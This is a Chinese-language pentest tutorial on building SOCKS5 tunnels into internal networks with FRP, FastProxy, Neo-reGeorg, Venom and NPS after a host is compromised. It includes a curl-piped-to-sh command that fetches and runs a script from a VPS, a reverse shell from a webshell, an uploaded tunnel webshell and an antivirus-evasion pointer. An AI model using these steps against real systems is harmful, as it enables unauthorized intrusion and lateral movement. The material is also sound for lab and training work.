内网代理
在了解内网代理之前我们需要知道,有的工具是用来创建代理隧道的,搭配配置代理的工具达到内网穿透的目的。简单点理解就是,创建代理工具是开凿一个水渠,而配置代理工具就是把水流引到想要的地方。
创建代理工具:
FRP、Neo-reGeorg、Venom、NPS
配置代理工具:
SwitchyOmega(浏览器插件,适用于Linux和Windows)
proxifier (配置系统代理或者应用代理,仅使用Windows)
Proxychains(Kali的代理神器)
FRP
0.前言
下载地址:https://github.com/fatedier/frp/releases
0.47的有Windows的:
一般下载amd64就可以了
目录结构:
各个文件的释义:
frpc.exe(客户端) frpc.ini(客户端配置文件)
frps.exe(服务端) frps.ini(服务端配置文件)
1.手搓
服务端:如果要打远程内网,服务端都是放在VPS
上的,保证服务端和客户端都能同时访问到这台VPS即可搭建代理隧道
使用frp之前要配置好frps.ini
和frpc.in
frpc.ini:
[common]
server_addr = 10.103.119.169
server_port = 7000
token = frpToken@admin2022
[proxy]
type = tcp
plugin = socks5
remote_port = 25599
frps.ini:
[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
服务端:
客户端:
客户端先反弹一个shell,否则蚁剑的webshell不支持一直运行一个程序
反弹shell之后要记得chmod 777 frpc
给程序赋权之后就可以运行了
手搓的话代理就是开在 vpsIP:25599
了
访问http://serverip:25500/
可以看到配置情况:
这样子就算搭建好一个socks5隧道。当然了,上面只是最简单的例子,并没有设置密码等功能。
SwitchyOmega
配置代理
2.工具
工具很简单,也是在frp基础上为了更好地利用frp开发的
地址:https://github.com/LxxxSec/FastProxy
这种方法只适用于linux
客户端
利用方式很简单,在vps上面运行(服务端):
python3 app.py vpsip 12345
然后在客户端(靶机)运行:
curl http://123.249.8.26:12345/hack -s | sh &
就是python开启的服务端中第一个[+]里面提示的东西
这样子就算搭建好了内网代理
这里搭建的代理有秘密,账号密码是 admin/password
kali配置代理:
gedit /etc/proxychains4.conf
验证成功性:
proxifier配置代理:
这里可以看到代理的IP和端口,账号和密码
根据搭建好的socks5代理,进行规则配置:
注意:配置全局代理有一些本地的应用将会失去网络连接,即断网
配置代理服务器,配置完之后可以点击检查,看右边的如果测试通过则表示代理配置成功:
之后就是全局代理了,可以直接访问内网:
当然了,这里也可以配置单个的应用代理,只需要在代理规则那里将想要代理的应用使用代理,任意应用采取direct策略即可
假设这里要设置远程桌面应用:
测试访问情况:
发现可以成功登陆
小插曲
这里就算设置了proxifier的代理应用为全部好像还是利用不了fscan扫描,有点奇怪。可以单独给fscan设置一个应用代理。
Neo-reGeorg代理
先生成我们需要的shell:
python neoreg.py generate -k qingfeng
根据目标的web服务选择上传的shell文件
把neoreg_servers目录下面生成的php文件放到目标文件上。切记这里不要把templates目录下的php当成生成的恶意文件,那个只是模板,可以自己修改,想要修改可以参考https://www.cnblogs.com/zpchcbd/p/16609082.html过免杀,`其中有一个把回显改成404,然后连接使用--skip的思路还挺新奇的,值得参考`。过这个坑感谢qiu爷好骂。
使用本机连接:
python neoreg.py -u http://192.168.64.129/tunnel.php -k qingfeng -p 9999
这里使用SwitchyOmega
演示:
访问试试看:
有一个参数可以注意的就是,如果我们不指定-l
参数,他默认就是127.0.0.1
。这种情况下这个代理只能本机使用了,如果是使用命令:
python neoreg.py -u http://192.168.64.129/tunnel.php -k qingfeng -p 9999 -l 192.168.64.1
这样子指定一个别人能访问得到的ip,那么这个代理就可以供其他机器使用了
我们再kali上连接代理尝试访问:
发现是可以成功的
Venom代理
┌──(kali㉿kali)-[~/Tools]
└─$git clone https://github.com/Dliv3/Venom
安装好后进入目录编译一下:
┌──(kali㉿kali)-[~/Tools/Venom]
└─$ ./build.sh
build macos x64 admin & agent...
go: downloading github.com/cheggaaa/pb/v3 v3.0.1
go: downloading golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7
go: downloading github.com/libp2p/go-reuseport v0.0.1
go: downloading github.com/fatih/color v1.7.0
go: downloading github.com/VividCortex/ewma v1.1.1
go: downloading github.com/mattn/go-colorable v0.1.2
go: downloading github.com/mattn/go-isatty v0.0.8
go: downloading github.com/mattn/go-runewidth v0.0.4
go: downloading golang.org/x/sys v0.0.0-20190412213103-97732733099d
build linux x64 admin & agent...
build linux x86 admin & agent...
build windows x86 admin & agent...
build arm eabi5 agent...
build mipsel agent..
进入release
目录,本地开启一个http
服务供docker
下载客户端用于连接我们:
我们先看一下客户端docker的环境是多少位的内核版本多少:
/app # cat /proc/version
Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
/app # uname -a
Linux 755411217bdd 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 Linux
可以看到是64位的
我们在/Venom/release
目录下面用python
开一个web
服务:
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
然后在目标靶机上下载客户端:
/app # wget 192.168.64.128:8888/agent_linux_x64
Connecting to 192.168.64.128:8888 (192.168.64.128:8888)
agent_linux_x64 100% |*******************************| 3564k 0:00:00 ETA
kali开启监听端口:
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ ./admin_linux_x64 -lport 2333
Venom Admin Node Start...
██▒ █▓█████ ███▄ █ ▒█████ ███▄ ▄███▓
▓██░ █▓█ ▀ ██ ▀█ █▒██▒ ██▓██▒▀█▀ ██▒
▓██ █▒▒███ ▓██ ▀█ ██▒██░ ██▓██ ▓██░
▒██ █░▒▓█ ▄▓██▒ ▐▌██▒██ ██▒██ ▒██
▒▀█░ ░▒████▒██░ ▓██░ ████▓▒▒██▒ ░██▒
░ ▐░ ░░ ▒░ ░ ▒░ ▒ ▒░ ▒░▒░▒░░ ▒░ ░ ░
░ ░░ ░ ░ ░ ░░ ░ ▒░ ░ ▒ ▒░░ ░ ░
░░ ░ ░ ░ ░░ ░ ░ ▒ ░ ░
░ ░ ░ ░ ░ ░ ░
░
{ v1.1 author: Dlive }
目标机连接kali:
/app # ./agent_linux_x64 -rhost 192.168.64.128 -rport 2333
./agent_linux_x64 -rhost 192.168.64.128 -rport 2333
2023/06/01 06:45:18 [+]Successfully connects to a new node
连接成功后可以用show查看连接的情况:
我们可以利用goto 1
进入该节点
可以利用该节点搭建socket5
代理
接着利用本机的kali
的proxychains
来连接这个socket
代理
┌──(kali㉿kali)-[~/桌面]
└─$ sudo gedit /etc/proxychains4.conf
配置好代理就可以开始内网信息收集了
NPS代理
nps_server.conf的配置文件:
appname = nps
#Boot mode(dev|pro)
#启动模式
runmode = dev
#HTTP(S) proxy port, no startup if empty
#HTTP(S)代理端口,如果为空则不启动
http_proxy_ip=0.0.0.0
http_proxy_port=8081 #http监听端口,默认80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
#默认HTTPS证书设置
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key
##bridge
##桥接
bridge_type=tcp
bridge_port=8024 ##客户端与服务端连接端口
bridge_ip=0.0.0.0
## Public password, which clients can use to connect to the server
## 公共密码,客户端可以使用它连接到服务器
## After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
## 连接完成后,服务器就可以打开相关端口,根据自己的配置文件解析相关域名。
public_vkey=123
#Traffic data persistence interval(minute)
#流量数据持续时间间隔(分钟)
#Ignorance means no persistence
#flow_store_interval=1
## log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
## 日志等级设置
log_level=7
#log_path=nps.log
#Whether to restrict IP access, true or false or ignore
#是否限制IP访问,true、false或ignore
#ip_limit=true
#p2p代理
#p2p_ip=127.0.0.1
#p2p_port=6000
#web
web_host= ##web管理端登录地址URL
web_username=admin ##web管理端登录名
web_password=123 ##web管理端登录密码(注:正式环境建议更改)
web_port = 8080 ##web管理端访问端口
web_ip=0.0.0.0 ##web管理端登录地址默认0.0.0.0不需要修改
web_base_url= ##管理端web路径,默认不需要指定
web_open_ssl=false #管理端是否开启ssl
web_cert_file=conf/server.pem
web_key_file=conf/server.key
## if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login
#Web管理多用户登录
allow_user_login=false
allow_user_register=false
allow_user_change_username=false
#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false
#cache
http_cache=false
http_cache_length=100
#get origin ip
http_add_origin_header=false
#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999
#client disconnect timeout
#客户端断开连接超时
disconnect_timeout=60
然后用命令./nps
开启服务
访问vps_ip:vps_port
登陆,创建一个客户端连接:
配置好选项:
上图分别对应客户端这三个配置:
!!这里的**basic_username**
和**basic_password**
也是后续使用socks5代理要配置的账号密码!!
然后配置服务器端口,就是socks5的端口,这里选择8888,默认是8003
客户端连接的命令:
./npc -server=123.249.8.26:8024 -vkey=12345 -type=tcp
连接成功后的显示就是这样
可以利用SwitchyOmega来验证一下连接的成功性:
然后点击那个锁配置密码:
访问一下内网地址,发现成功访问,即为穿透成功
内网机器不出网如何搭建隧道
我们来看一下连接的拓扑图是如何的
这里就是通过socks5代理以vps为服务端,内网机器1为客户端达到内网穿透访问内网机器.这种利用VPS的场景更常见于拿下了公网的服务器,想要进一步渗透内网机器。
首先通过这个拓扑图我们要明白:
穿透是指穿透客户端相关整个网段的机器
如何理解呢?
- 如果我们要穿透10网段的地址,需要把客户端放在我们可以访问的10网段。就如上图的内网机器1,因为他同时拥有192的网段和10的网段,利用他我们就可以达到穿透10网段的目的。
- 如果再有10地址的机器,如
10.10.11.200
、10.10.11.215
等等我们都可以利用这个搭建好的隧道访问到 - 要和服务端区别开,服务端只是双方均可访问到的桥梁,并不能作为内网穿透的目标网段。简单而言就是你本机是访问不到vps中转服务端的内网地址的。
其次我们可以屏蔽中间人的请求,直接对内网机器2发送请求。那么这个中间人是否可以再操作?
可以注意到,我们其实和内网机器1是在同一个网段的,所以我们可以摒弃VPS中转服务端。直接利用内网机器1进行流量代理,所以可以直接把内网机器1当作服务端和客户端,自己连接自己。我们通过建立的socks5代理达到内网穿透的目的。
我们通过连接好的socks5代理,试试看内网穿透能否成功;
可以看到成功达到内网穿透
那么这种方法有何意义或者作用呢?
在某次实战中有这样一个问题:
现在已经拿下了内网机器机器1,想要继续访问内网机器2。但是内网机器1他不出网,而且没有web服务。
确实可以利用MSF正向的方法,建立连接,然后使用route配置路由访问。当时不会这一条路,建立了正向连接无法访问内网机器2的web服务,无法进行下一步渗透。
此时想要建立隧道就可以使用上述方法,把内网机器1同时当作客户端和服务端我们就可以内网穿透达到访问内网机器2的目的。
关于MSF的内网利用和CS的内网利用后续更新…